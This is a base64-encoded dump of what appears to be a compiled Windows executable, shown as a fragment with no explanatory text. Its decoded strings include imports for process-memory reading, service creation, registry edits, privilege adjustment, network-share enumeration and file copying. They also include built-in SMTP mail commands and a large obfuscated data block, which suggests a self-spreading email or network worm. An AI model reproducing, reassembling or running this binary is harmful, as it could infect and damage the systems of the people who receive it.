AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAHDcAACg3QAAiN0AAHjdAABm3QAAUt0AAELdAAAs3QAAGN0AAALdAADm3AAA2twAANDc AACy3AAAotwAAI7cAABe3AAATNwAADbcAAAm3AAAFNwAAAbcAAD42wAA6tsAAAAAAAAk2gAA MNoAAELaAABO2gAAWtoAAG7aAAB+2gAAjNoAAKLaAACu2gAAvtoAANDaAADg2gAAENoAAADb AAAO2wAAHtsAADDbAABG2wAAWtsAAGrbAAB42wAAjtsAAKDbAAC82wAAzNsAAPrZAADk2QAA ztkAAMDZAAC02QAApNkAAJTZAACC2QAAYNgAAHTZAABm2QAAUNkAAEDZAAAu2QAAHtkAAAjZ AADs2AAA3NgAAM7YAAC62AAAptgAAJ7YAACQ2AAAgNgAAG7YAADy2gAAxt8AALjfAACo3wAA lt8AAITfAAB43wAAat8AAFzfAABO3wAAQN8AADDfAAAe3wAABN8AAOzeAAAO3gAAIt4AADTe AABC3gAATt4AAFjeAABk3gAAdN4AAITeAACQ3gAAnN4AALjeAADS3gAA1t8AAAAAAAD23QAA 4t0AANLdAAAAAAAANAAAgAMAAIB0AACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACAEAAAgAAA AAAAAAAAAAAAAAUAAAAAAAAABwAAAAkAAAAFAAAAAgAAAAIAAAACAAAAAgAAAAwAGQABAAEA AgAOAAoAHwAEAAEAAwAZAAgADwACAAIACwACAAEABgD/////T4FAAGOBQAAAAAAAAAAAAAAA AAD/////MYdAADWHQAD/////5YdAAOmHQAAGAAAGAAEAABAAAwYABgIQBEVFRQUFBQUFNTAA UAAAAAAgKDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAAAHBweHh4eAgHCAAABwAICAgA AAgACAAHCAAAACgAbgB1AGwAbAApAAAAAAAobnVsbCkAAHJ1bnRpbWUgZXJyb3IgAAANCgAA VExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAAAABET01BSU4gZXJyb3INCgAAUjYwMjgN Ci0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAAAFI2MDI3DQotIG5vdCBlbm91Z2gg c3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjYNCi0gbm90IGVub3Vn aCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNQ0KLSBwdXJlIHZp cnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Ig X29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8gb3BlbiBjb25z b2xlIGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0KAAAAAFI2 MDE3DQotIHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2DQot IG5vdCBlbm91Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFt IHRlcm1pbmF0aW9uDQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJv bm1lbnQNCgBSNjAwOA0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2 MDAyDQotIGZsb2F0aW5nIHBvaW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFs IEMrKyBSdW50aW1lIExpYnJhcnkAAAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAA AAAuLi4APHByb2dyYW0gbmFtZSB1bmtub3duPgAAAAAAAP////+Bq0AAhatAAEdldExhc3RB Y3RpdmVQb3B1cAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hBAHVzZXIzMi5kbGwAAODW AAAAAAAAAAAAANzbAABk0AAAfNYAAAAAAAAAAAAAuN0AAADQAAA02AAAAAAAAAAAAADG3QAA uNEAACTYAAAAAAAAAAAAAAbeAACo0QAAAAAAAAAAAAAAAAAAAAAAAAAAAABw3AAAoN0AAIjd AAB43QAAZt0AAFLdAABC3QAALN0AABjdAAAC3QAA5twAANrcAADQ3AAAstwAAKLcAACO3AAA XtwAAEzcAAA23AAAJtwAABTcAAAG3AAA+NsAAOrbAAAAAAAAJNoAADDaAABC2gAATtoAAFra AABu2gAAftoAAIzaAACi2gAArtoAAL7aAADQ2gAA4NoAABDaAAAA2wAADtsAAB7bAAAw2wAA RtsAAFrbAABq2wAAeNsAAI7bAACg2wAAvNsAAMzbAAD62QAA5NkAAM7ZAADA2QAAtNkAAKTZ AACU2QAAgtkAAGDYAAB02QAAZtkAAFDZAABA2QAALtkAAB7ZAAAI2QAA7NgAANzYAADO2AAA utgAAKbYAACe2AAAkNgAAIDYAABu2AAA8toAAMbfAAC43wAAqN8AAJbfAACE3wAAeN8AAGrf AABc3wAATt8AAEDfAAAw3wAAHt8AAATfAADs3gAADt4AACLeAAA03gAAQt4AAE7eAABY3gAA ZN4AAHTeAACE3gAAkN4AAJzeAAC43gAA0t4AANbfAAAAAAAA9t0AAOLdAADS3QAAAAAAADQA AIADAACAdAAAgBMAAIAJAACABAAAgG8AAIBzAACAFwAAgBAAAIAAAAAAtABGcmVlTGlicmFy eQA+AUdldFByb2NBZGRyZXNzAADCAUxvYWRMaWJyYXJ5QQAAGwBDbG9zZUhhbmRsZQCWAlNs ZWVwAJ4CVGVybWluYXRlUHJvY2VzcwAAHAJSZWFkUHJvY2Vzc01lbW9yeQDvAU9wZW5Qcm9j ZXNzANkBTW9kdWxlMzJGaXJzdABMAENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAJAFHZXRN b2R1bGVGaWxlTmFtZUEAAP4BUHJvY2VzczMyTmV4dAD8AVByb2Nlc3MzMkZpcnN0AADWAU1h cFZpZXdPZkZpbGUANQBDcmVhdGVGaWxlTWFwcGluZ0EAABIBR2V0RmlsZVNpemUANABDcmVh dGVGaWxlQQCwAlVubWFwVmlld09mRmlsZQAbAUdldExvY2FsVGltZQAAGgFHZXRMYXN0RXJy b3IAAMwBTG9jYWxGcmVlAMgBTG9jYWxBbGxvYwAA+ABHZXRDdXJyZW50UHJvY2Vzc0lkANIC V2lkZUNoYXJUb011bHRpQnl0ZQDkAU11bHRpQnl0ZVRvV2lkZUNoYXIAzgBHZXRDb21wdXRl ck5hbWVBAAAoAENvcHlGaWxlQQC5AUlzREJDU0xlYWRCeXRlAADfAldyaXRlRmlsZQAYAlJl YWRGaWxlAABjAUdldFRlbXBGaWxlTmFtZUEAAGUBR2V0VGVtcFBhdGhBAABXAERlbGV0ZUZp bGVBAGgCU2V0RmlsZUF0dHJpYnV0ZXNBAACQAEZpbmRDbG9zZQCdAEZpbmROZXh0RmlsZUEA lABGaW5kRmlyc3RGaWxlQQAAYQJTZXRFbmRPZkZpbGUAAGoCU2V0RmlsZVBvaW50ZXIAABQB R2V0RmlsZVRpbWUAbAJTZXRGaWxlVGltZQBtAUdldFRpY2tDb3VudAAARABDcmVhdGVQcm9j ZXNzQQAAWQFHZXRTeXN0ZW1EaXJlY3RvcnlBAPcAR2V0Q3VycmVudFByb2Nlc3MAdQFHZXRW ZXJzaW9uRXhBAHQBR2V0VmVyc2lvbgAAzgJXYWl0Rm9yU2luZ2xlT2JqZWN0AMoAR2V0Q29t bWFuZExpbmVBAIAARXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzQQAEAUdldERyaXZlVHlwZUEA SgBDcmVhdGVUaHJlYWQAAEtFUk5FTDMyLmRsbAAAWwFSZWdDbG9zZUtleQBmAVJlZ0VudW1L ZXlBAHEBUmVnT3BlbktleUEAZAFSZWdEZWxldGVWYWx1ZUEAagFSZWdFbnVtVmFsdWVBADQA Q2xvc2VTZXJ2aWNlSGFuZGxlAABMAENyZWF0ZVNlcnZpY2VBAABFAU9wZW5TQ01hbmFnZXJB AACzAVN0YXJ0U2VydmljZUN0cmxEaXNwYXRjaGVyQQCuAVNldFNlcnZpY2VTdGF0dXMAAEcB T3BlblNlcnZpY2VBAACOAVJlZ2lzdGVyU2VydmljZUN0cmxIYW5kbGVyQQCdAEZyZWVTaWQA mABFcXVhbFNpZAAAGABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAANAAR2V0VG9rZW5JbmZv cm1hdGlvbgBCAU9wZW5Qcm9jZXNzVG9rZW4AAFwBUmVnQ29ubmVjdFJlZ2lzdHJ5QQCyAVN0 YXJ0U2VydmljZUEAewFSZWdRdWVyeVZhbHVlRXhBAACGAVJlZ1NldFZhbHVlRXhBAABeAVJl Z0NyZWF0ZUtleUEAFwBBZGp1c3RUb2tlblByaXZpbGVnZXMA9QBMb29rdXBQcml2aWxlZ2VW YWx1ZUEAQURWQVBJMzIuZGxsAABXUzJfMzIuZGxsAAARAFdOZXRDbG9zZUVudW0AHABXTmV0 RW51bVJlc291cmNlQQBAAFdOZXRPcGVuRW51bUEATVBSLmRsbAAmAUdldE1vZHVsZUhhbmRs ZUEAAFABR2V0U3RhcnR1cEluZm9BAH0ARXhpdFByb2Nlc3MAvwBHZXRDUEluZm8AuQBHZXRB Q1AAADEBR2V0T0VNQ1AAAL8BTENNYXBTdHJpbmdBAADAAUxDTWFwU3RyaW5nVwAAnwFIZWFw RnJlZQAAmQFIZWFwQWxsb2MArQJVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAALIARnJlZUVu dmlyb25tZW50U3RyaW5nc0EAswBGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwAGAUdldEVudmly b25tZW50U3RyaW5ncwAIAUdldEVudmlyb25tZW50U3RyaW5nc1cAAG0CU2V0SGFuZGxlQ291 bnQAAFIBR2V0U3RkSGFuZGxlAAAVAUdldEZpbGVUeXBlAJ0BSGVhcERlc3Ryb3kAmwFIZWFw Q3JlYXRlAAC/AlZpcnR1YWxGcmVlAC8CUnRsVW53aW5kAFMBR2V0U3RyaW5nVHlwZUEAAFYB R2V0U3RyaW5nVHlwZVcAALsCVmlydHVhbEFsbG9jAACiAUhlYXBSZUFsbG9jAHwCU2V0U3Rk SGFuZGxlAACqAEZsdXNoRmlsZUJ1ZmZlcnMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAB7hUAAj69AAAAAAAAAAAAANLBAAAAAAAAAAAAAAAAAAAAAAAAP/UAAQAAAACAA AAAsAAAALS0AAFwAAABRVUlUDQoAAA0KLg0KAAAAREFUQSANCgBIRUxPICVzDQoAAAA+DQoA TUFJTCBGUk9NOiA8AAAAAFJDUFQgVE86PAAAACVkAAAgCQ0KAAAAAC4sKCklJEAhYH4gAC1f AAAuLgAALgAAAFwqLioAAAAAXFwAAAAAAACJFXfvMxmZeBBYuMnymQAAB+Ok9NtY+vn4w1JU 1VlV0ldT9FHRWeNbWVFR1MPXUdVX3/RSVFX011bjX1NfU8NY0FL0UlRV9NlY41PZVN7D+n97 e/TUUdnjU9TZV8PXUdVX3/RSVFX011bjUNpT29fD11HVV9/0UlRV9NdW41rZ2lFR2cPYUdpX 3lTU9NRR2eNaU9RXw/p/e3v01FHZ41pT1NlZ2tTD2FHaV95U1PTUUdnjU9TRX8PYUdpX3lTU 9NRR2ePVV9nZ1VHD11fZUdX01FHZ41BXUFfD11HVV9/0UlRV9NdW49JR2cPXUdVX3/RSVFX0 11bj1VfVX8P//1hX1PRSVFXjWlnUw9hR2lfeVNT01FHZ49VX1NFTw9hR2lfeVNT01FHZ49pT V1pRw1jQUvRSVFX02Vjj2lNX1NpTV9RVU9TD11TUUFZU1FD0UlRV41ZT2lPVU8PXVNRQVlTU UPRSVFXjWlNVVV9S11HUw1jQUvRSVFX02Vjj0NVfWFfU0cNY0FL0UlRV9NlY41pZUlbDWNBS 9FJUVfTZWONZ2tVU2FHDWNBS9FJUVfTZWOPZWdlZw///WFfU9FJUVeNS11FZw/p/e3v01FHZ 499f3sP6f3t79NRR2ePbUdnD+n97e/TUUdnjUFfa1cNR0VfaUVLZe/j/9FJUVePVV9nZ1VFS U9nD11TUUFZU1FD0UlRV49tT1FrXWVBT1FDDUtdX1FFaUfRSVFXj21fb2VfD+ntS1PRSVFXj UlHa2dtTWlrD+ntS1PRSVFXj21RYUdrXUdpUw/r4evTUUdnjQsp4+vh/QsfD2VHa2lP0UVrj yknCQcRKRMlEQ0BJR8PZUdraU/RRWuNDQkNFwcrD2VHa2lP0UVrjVNV121HZUVLXw9lR2tpT 9FFa48pESkPEQ0VExclEw9lR2tpT9FFa49pTWdVaU9RaUVBU2FdTw9lR2tpT9FFa49dR2lXD VNVR9FJUVePW1fTYU95bWVHew1PVUlNV21T0UVrj0djRw9HY0XXRV1rZ2lfSWVJXVNRRWvRS VFXj2FfRUVR1UlTUWlTVU1rD2VHa2lP0UVrjUdpXVsNYWNlXUlZR2fRSVFXj2lNaw9pRUl/U Udn0UlRV41pT1VFaw1pX21FS9FJUVeNTUNpRWlPD2VHa2lP0UVrj1VfRV1NMU1BR1FPD21RS 3tlT9FTUUdn029XjVlPWU0xVU9pSV9TDUFT69NvV495T2t5T0cPeVVHa9FJUVfTb1ePQWdrU UdXD21TV0lTf9NvV41NQUdRSX8NZ1FdWU9nZ2lPYUdX0UlRV9NvV41NW2VfYe8PbVNXSVN/0 UlRV49dU1VfRU1/D21T0VNRR2fTb1ePX21pU0NnD21TV0lTf9FJUVeNXWFNa3lZUw/rU9NvV 41ZU2tRR1fp7w/pSVFX029XjVVPWVNrD21Tb1FHZ9NvV41jSV1naVMNYVNTRUdrVU9TRWvRS 1FHZ9NvV49VTWtnaU8PbVNXSVN/0UlRV9NvV41FWVNlZ2sNU1Vre2V/UUVb0UlRV9NvV49dX Wt7bU9T6+/v7w9tUUt7ZU/RU1FHZ9NvV49baWlTV2Vnaw1ZWV/RW2lNWVFj029Xj0tvWWdhR 1NlZWsPbVFLe2VP0VNRR2fTb1ePS21ZU1VlV0sNW1fRU1FHZ9NvV49dRw9dR9NvV49LZTNlR Ut5TTNna3lHSV9RXU8PbVFLe2VP0VNRR2fTb1eNX1NlUWdrDV9TZVFnaddJRWlZX0V/0UlRV 9NvV49pRV1pR0FdR0lHaw1ZT2VRYV1JR9FXZ1fTb1eNYU9VS3lNW21dU2drD21RS3tlT9FTU Udn029XjV9RYVtpZVsPbVFLe2VP0VNRR2fTb1ePZWdrVVNnDU9Xb11P029XjU9VQU0zSX9lU VcPbVFLe2VP0VNRR2fTb1eNTU9XZVFnaWsNQ0V/UV1P0VdnV9NvV49pR0FTaVcPbVFLe2VP0 VNRR2fTb1eNaUlPU11TVw1jV9FTUUdn029Xj0lPUU1reUVb0UNVR0lRS1VPD11TVV9FTX1r0 29Xj11PZVVTUw9tU1dJU3/RSVFXjWlPZw1fUUdn0UlRV9NvV49JRU9naU9hR1cPbVFLe2VP0 VNRR2fTb1eNWVNpU1FPZ2lPYUdXDUFT69NvV41VR2lJZ2l/DVlPZVFhXUlH0VdnV9NvV49na U1Xb2VnaeMPbVFLe2VP0VNRR2fTb1ePXVNlR1UxUWtlUV1PD21RS3tlT9FTUUdn029XjVNrS VlNaX8PSVN/5evRQ1FHZ9NvV41hT1dFXVVHfw9tU1dJU3/RSVFX029XjVlNVV/RSV1Fa3l/U w9tUUt7ZU/RU1FHZ9NvV49RX1dtU1cPUV9XbVNX0UlRV9NvV41jS2d5YWFPD21RS3tlT9FTU Udn029XjUtpUU9lXU8NWU/RU1FHZ9NvV41Ta0ldaWtlYw9lQ9FTUUdn029Xj0tnD0ldRWt5S 3lPRX/RU2lD029XjUVnaVPTb9FPD29pU2FfRUdr029XjVVPaUFT0WlHaWMPbVFLe2VP0VNRR 2fTb1eNRUFTDUlf0VNRR2fTb1ePSVNrZw1hX2VRZ2lr0UlRV9NvV49tRUFPeWlLDUFT69NvV 41fU0FTDU9hR2dpT2FHV9FLe49XYU9RRUlFWw9hU1dRf9FLe49ZT1FPbVMNT2FHZ2lPYUdX0 Ut7j0lNWU9VT2kzaU1ZT2NRXVsNXVNX0Ut7jVVPa2VfUw1PYUdnaU9hR1fRS3uPUU9lZ2tna U9hR1cPYVNXUX/RS3uNS11PVVFnbVlTYV8PYVNXUX/RS3uNVU9pWUdlT3sNT2FHZ2lPYUdX0 Ut7j0VdaVlneUcNSUVrZVNjUV3XaWVLX9FLe49hT1PTaw3pYUdL01FHZ49bZw1JU1FJR2tn0 Ut7jUlbY11rD2FTV1F/0Ut7jVNVRU8NT2FHZ2lPYUdX0Ut7j2FHaVNRXVlPDU9hR2dpT2FHV 9FLe49FT2FfRw1PYUdnaU9hR1fRS3uNU0dpTw9hU1dRf9FLe49lZ2vTXVNpfw1BU1FHZ9FLe 49ZUVlPUU1PUw1BU+vTb1ePXVNlR1VTbU9lU2MNXVNX0Ut7jUlZT1VHfw1JWU9VR3/RS3uPS U9rYV9pWU8NT2FHZ2lPYUdX0Ut7jQdhT9EVT1NFU2FJU2FPDUFHUV1Hb2lPXU/RSVFXjU9VR 1FPDU9hR2dpT2FHV9FLe49tR1N5XVNTD21HU3ldU1PRS3uPZUdpR3lPDU9hR2dpT2FHV9FLe 41rZUdVWU8NU+vTb1ePWU9pZWlZTw1PYUdnaU9hR1fRS3uPU9FL0VVPa2VfUw9JRWtn0UlRV 49VZVVTaV1rDUFFQVPRS3uPb2lTYVN7DU9hR2dpT2FHV9FLe4/l4//nVU1hTw1DZUfTUUdnj 0NVTWlPaw1PYUdnaU9hR1fRS3uNWVNlU2lPDU9hR2dpT2FHV9FLe41fYU8NT2FHZ2lPYUdX0 Ut7j0Vla2Vfaw1PYUdnaU9hR1fRS3uPYV1HUV1fU2FdTUFBXVMPZV9T0V9njV9TQVMPQV1PY UdlaV1JX1VdT9FJUVePVU1fYV1NQUFfD2FfaUFfVV1T0V9njWFpWWFPa2ldU2vrD2VHa2lP0 UVrjy8JR2tRUWd/D1NlV1dVS9FJUVePYV1PWUVpaU1fSWdrD2VHa2lP0UVrjVdVU21Hew1JR 1NnaU9XYV1P0UVrjV9TQVFLYw1JR1NnaU9XYV1P0UVrjWdRX0VPDWdRX0VP0UlRV49bb0ttT 2lHaU8PZUdraU/RRWuPVU9VT9NtT1FBT1MNTVVHfU9HYUdTZWdpR9FJUVePRU9hX0dVX2VFY UdXVw9lR2tpT9FFa41FVV9VXU8PZUdVR1FHZ9FFa41NQUdTRU8NT0VFSU/RSVFXj3lNVU9RW 11PUw9lR2tpT9FFa41PaWVfe9NvaVFVUUldU1PRTUNvDUVr0VVnU0VdSVNVU2vTUUdnj21nS 1VdSV9FT0cNX1FdSV1P0UVrj21PUU9JX2tHDWlfU0FT01FHZ49pRV9RT2lPDWlfU0FT01FHZ 41DRU9XZVNTDWlfU0FT01FHZ41RV2FFaU8Pb2V/0UlRV49hXU1JU2lPDWlfU0FT01FHZ41Pa VFpRUNpXw1pX1NBU9NRR2ePYV1PWUdtVU8NaV9TQVPTUUdnj21PUU9HYUdTDVNrSV/TUUdnj UlTUUd/ZVNlT1cZCSsPZUdraU/RSVFXjVNpXUdTZ2NXDWlfU0FT01FHZ49pRUlHb2Vnaw1pX 1NBU9NRR2eNQUVRSU9p5+sNU2tJX9NRR2ePYV1NSVFXbVMNaV9TQVPTUUdnjWlHa2FfZWdrD 29lf9FJUVeNSUdTZWdpfw1pX1NBU9NRR2eNU1V9V21dSUsNaV9TQVPTUUdnjVd7Z2lPYUdXD WlfU0FT01FHZ41BRVVrZ2NXDWlfU0FT01FHZ41JR2FdT1lPDWlfU0FT01FHZ49ZUWlHQ9FVX 1dVR2sNVV9XVUdp12lFXWlHU9NFR49JXVFrb11HaU9lZ2ldaVVTDWVTV9FJUVfTS2uNVU9ZR WtlZ2sPUUdl12VHU9FJUVfTS2uPb2ldaVVPew1lU1fRSVFX00trjU9FVV9TDUlRVUdpSV1R1 UfRSVFX00trjWVrZVFnaw1la2VRZ2vRSVFX00trjV9TRV1PUU9lZ2ldaVVTDWVTV9FJUVfTS 2uPVV1VT2Vnaw1lU1fRSVFX00trjWFTa1dFaV9FRw1lU1fRSVFX00trj21HaVVPaUdhXU1BR 1FrDWVTV9FJUVfTS2uPS2lPeV9VX1FJUVVfUUMNZVNX0UlRV9NLa41PaU9pT3lnVw1lU1fRS VFX00trj29pXVVTa0VdT1cNZVNX0UlRV9NLa41bQU1JSV8NZVNX0UlRV9NLa41NRVdlZ2lda VVTDWVTV9FJUVfTS2uPZU9lX1FXZWdpXWlVUw1lU1fRSVFX00trj1FPYV1BT2VTa2dpT2FHV w1lU1fRSVFX00trj2dpT2FHVWlnVw1lU1fRSVFX00trjWFTa1dHZVFnaw1lU1fRSVFX00trj 2dpT2FHVWFHV1cNZVNX0UlRV9NLa41pT28NaU9vS2lNaV9X0UlRV9NLa49DVX9lUWdrD0FTa WVVSV/RSVFX00trjWtjZ0tpT3sNZVNX0UlRV9NLa49rS2tlZ2sNR1VRQV1JT9FJUVfTS2uNS 1VFf0VrD2FHU2VT0UlRV9NLa41fU2VHaU9rZw9RR2dtUV9TZ9FJUVfTS2uNTUd/b2lFaWsNZ VNX0UlRV9NLa49lR2ttU2FRaw9lR2tpTWlHbVNhUWvRSVFX00trjWtlUUlbZWdrDWVTV9FJU VfTS2uPZ2VJR1VdUw1lU1fRSVFX00trj1VFT0VHaUlTUWsNZVNX0UlRV9NLa41PRVdpRWsPR UNXUUdn0UlRV9NLa41HU2dpR1VfU11Naw85TzvRSVFX00trj4+Pj/s1D2ltZV9hUWvPRUfPb 2lRQ2lNVU1rNQ9FU0lHNQ1LaVNJT2fP59PvNylFT0VHazUNS2lTK0Xr69FFQUuPbWlTUQMtB 9FlfU+Pa1FHZzUdCSEREwkH0VlJT4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj 4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj 4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj 4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj41Xb/+P0Ud9R4/RaUtrj9NtX0OP00lPZ4+Pj 4+Pj4+Pj4+Pj4/TZ39nj9NfZVeP019lV1eP0WFPS4/TRVFLj9N/VWuP01ttQ4/RS29vj9FLj 9NtTWuP0VdtQ4/RV21FQ4/TSU1bj9FXbeuPj40pU0NlYU9pRzUVXUtpUWlTQ2c1IV9TRVFha zUJZ2tpR1NnIUdpaV1TUzeND29vzy1PZ11rjylnU48pZ1ETUUlHjSl9a2VFVzUJZ2tpR1NlC VNTZ2lTVSlHZzUpR2thXUlFa40pU0NlYU9pRzUVXUtpUWlTQ2c1IQ8LNSEPC+c1IU9LzwFfV UfPEU1VR48pZ1EpR2thXUlFa40fU2VHa1FHZ80pR2dlX1FBazUJTUtdRzctT2dda4+Pj4+Pj 4+PHV/Xjx1HV1VT148pR/uPAWP7jSdTRUdVX2FHaU9LVUfNVU1fVdXXycVry48pR2Vna1FHR 81VTV9V1dfJxWvLj4+Pj41PzcVrzcVrzUFNVUeNT83Fa83Fa89lUVNXjU/NxWvNxWvNYUdJa V9lR41PzcVrzcVrz21PZUtfjcVrz2lFVVNhT1fPZVFTVWuPj4+Pj4+Pj1FFY49BZ1NRf49RX UlHj11lVVFna41HfUlfZUeNQVFTR49tUWNBZ1eNIV9TPy+NHQfP49PvjSHr69EHVVlHa1PPj SHr69EbVUd7j49dUWPNT2lHzX1RZ49VR2XBa89JR89DaV1HU0Vrj0VPa1VfUUOPRVNRw2fPR 2lfUVvPZVFTzVVlS1+NfVFna89tTWlpYVNrR49dU1FFf41pUVVHzW1lRWtlXVNRa49vVUVNa UfPZ2l/zU1BTV9TjWFHVUlRVUfPZVPNVX/PXVFVR2VRY1OPZ11HzQFPa0VHU81TQ80HRUdTj V9TZ2lTRWVLZV1TU81TU80PBSsXjVVFR2VfUUPPUVNlXUlHjW1lRWtlXVNTUU1faUeNSVNRQ 2lPZWdVT2VdU1FrjWlRac+PWU9tT1FFaUfNQV9rV88hK89vVU1/SVF/j1VRUVvVVX/PSUVNZ 2VfQWdXzUFfa1fPQ2ldR1NHjUVNQUdrz2VTzWlFR819UWeNa21dSUfNQV9rVWnDz2FRSU9Xz UlTUUlHa2ePWU9tT1FFaUfPVU1pacPNaUd9f89tXUtlZ2lFa4+Pj4+Pj4+NKX1VT1NlRUuNF UlPQUVHjwHVKUVJZ2lHjSlTb11Ra4+Pj4+PA2lRV/vPjyVT+8+NKWdLWUVLZ/vPj4+PJ11Hz 0FTV1VRYV9RQ81VTV9XzUlPUcNnz0lHzWlHU2fPZVPNxWv7jyddR81PZ2VNS11VR1NnjyddR 89BX1VHj81da89nXUfNU2ldQV9RT1fNVU1fV4/NQV9hR819UWfPZ11HzcVrj81da81PzcVrz 0VPUUFHaVFla89hX2lla89nXU9nzcVrjUlPU81fU0FFS2fNU1PNIV9R//3RFUXT6+/v7dM/L 9ONa29pRU9Hz2dfaVFlQ1/NRVVNX1fTj2FHaX/PjWttRUldT1fPj19nZ2/50dONYWFj04/RS 